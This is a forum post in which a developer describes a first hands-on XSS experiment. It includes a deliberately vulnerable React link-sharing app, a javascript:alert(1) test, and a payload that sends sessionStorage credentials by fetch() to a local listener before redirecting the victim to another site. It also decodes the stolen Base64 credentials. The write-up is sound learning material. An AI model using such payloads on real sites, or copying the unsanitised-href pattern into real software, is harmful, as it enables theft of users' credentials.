My first attempt at XSS

xss
#1

As some of you might know, I’m planning to document my journey coming from software development to infosec. This is the first post in the series, I’d be happy for you to give me your honest opinion.

So, as a developer, I’ve heard of OWASP TOP 10, let’s pick an example from there - XSS looks interesting and maybe I can create a simple app to break.

What is XSS?

OWASP says:

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

So the gist of it is that through a user input, it’s possible to embed code that can be executed, let’s try that.

I’ve learned that both React and Angular (two major players in the front-end framework scene at the time of writing this post)
tries to protect against XSS out of the box, and as a developer you’ll have to explicitly trust content before allowing the browser to execute it without further sanitation.
It makes the demonstration harder, but not impossible.

I’ve cooked up a React app that allows you to enter a URL and share it with someone else - let’s imagine that it makes sense, like it tracks who clicks, and who closes it without checking out your awesome fortnite videos. It’s a great way to tell who your real friends are™.

import React from 'react';
import './App.css';

function login() {
  sessionStorage.setItem('auth', 'c25haWw6aHVudGVyMg==');
}

function getSharedUrl() {
  return window.location.hash.split('#')[1];
}

function App() {
  login();
  const sharedUrl = getSharedUrl();
  const defaultUrl = 'http://www.google.com';
  const [link, setLink] = React.useState(sharedUrl || defaultUrl);

  return (
    <main className="main">
      <h1>Awesome Link Creator</h1>
      {!!sharedUrl ?
        null :
        <input
          type="text"
          value={link}
          onChange={event => setLink(event.target.value)}
        />
      }
      <br/>
      <a href={link}>My awesome link!</a>
      <br/>
      <p>
        <b>Share it with your friends!</b>
      </p>
      <span className="shareable-url">{window.location.origin}#{link}</span>
    </main>
  );
}

export default App;

If you’re not much into React or front-end development, here’s some explanation about the code above:

/*
 This is called a React hook - without going into the details,
 this provides us a way of setting an initial value to the variable "link"
 and also gives us a programmatic way of setting its value
*/ 
const [link, setLink] = React.useState(sharedUrl || defaultUrl);
/*
 We set the input's value to be "link" and 
 every time a change event is dispatched from the input
 we will set link to be equal to the current value of the input
 */
<input
  type="text"
  value={link}
  onChange={event => setLink(event.target.value)}
/>
/*
 This will be the actual vulnerability here
 */
 <a href={link}>My awesome link!</a>

Right, so we fire up our browser, and see a beautiful, carefully designed, UX award winning application:

But how do we know if it’s vulnerable to XSS? The description of XSS mentions something like

occur anywhere a web application uses input from a user

Let’s try that then, but still, how would we know?
It’s a common practice to call the javascript function alert() with any argument, like the number 1 - this will tell us if we can continue our research.
If you look at the screenshot, you can see that there’s a shareable URL at the bottom of the page - with the app’s source code above, we know that it’ll generate a link with the user’s input.

That means we need a small addition to our alert(1) test, which is to tell the browser to execute it as javascript. We can achieve this by prefixing it with javascript, so the final input will be javascript:alert(1)

And yes, if we click “My awesome link!”, we’ll see 1 in a popup.

Now, this is good, we know there’s an XSS vulnerability on this page, we can wrap up, thanks for the atte… hold on…

A brilliant read by Luke Stephens points out that this doesn’t demonstrate well the severity of XSS in modern applications, and he’s right, so let’s see what else we can do.

It’s common practice to store some kind of data in either:

  • cookies
  • local storage
  • session storage
  • memory

Let’s see if we have any luck with the above, I’ll open up the developer console in my browser, and see if there’s anything

That auth seems useful, but it’s our own, and we most likely know our own credentials, so not very helpful.
If we think a bit more, we realise that we can probably send a link to others, so we can access their credentials.

Let’s see how could we extract it - we know it’s stored in sessionStorage, so we can either write

javascript:alert(window.sessionStorage.getItem('auth'));

// or we can just dump the whole object, maybe there's more for other users 

javascript:alert(Object.entries(window.sessionStorage))

We’d still have to find a way to send this data to ourselves, and an alert is probably going to literally alert people. Let’s face it, it’s not very subtle.

I thought of firing up python’s SimpleHttpServer by issuing this command python3 -m http.server in my terminal.

Next thing is to make a request to it, that’ll leave us with something like

javascript:fetch('http://localhost:8000?params=' + Object.entries(window.sessionStorage), {mode: 'no-cors'})

Almost there, but the link in the app wouldn’t work, so while it’s better than the above, it still wouldn’t go unnoticed, as users wouldn’t be redirected anywhere.

javascript:fetch('http://localhost:8000?params=' + Object.entries(window.sessionStorage), {mode: 'no-cors'}).then(() => window.location.replace('http://facebook.com'))

Much better! We’ll use fetch(url, options) to initiate a request to our server (we could even post the data as the body, but a simple GET will do fine in this example), and once that’s finished, we’ll send the user away!

As you can see above, we’ve been redirected, but the network tab shows that our request has been made first, and indeed

we received the request containing the credentials.
It’s common to use Base64 encoded string as the credentials (in the format of user:password) for Basic authentication headers, and whenever I see = at the end of a string, I always assume that it’s a Base64 encoded string, so let’s check if we can decrypt it (see above).
We succeed, and we get a username and a password for that account.

Now we’ve gone from

The app is vulnerable to XSS

all the way to

It’s possible to get all users’ credentials with a single link

Thanks for reading - feel free to @ me on Twitter to share your thoughts or you can just do it here. I’ll be mirroring these posts on my blog @ https://hacker-snail.github.io/

6 Likes

My thoughts after my first (real) attempt at Hackthebox
#2

Hey @hacker_snail! Very nice introduction to XSS and the potential harm of it.

It turns out I will post a solution to an XSS challenge today. Feel free to try it yourself first :slight_smile:
Link to the challenge.

1 Like

#3

Thanks! I’m looking forward to your write-up, let’s see if I can make it work before the deadline!

1 Like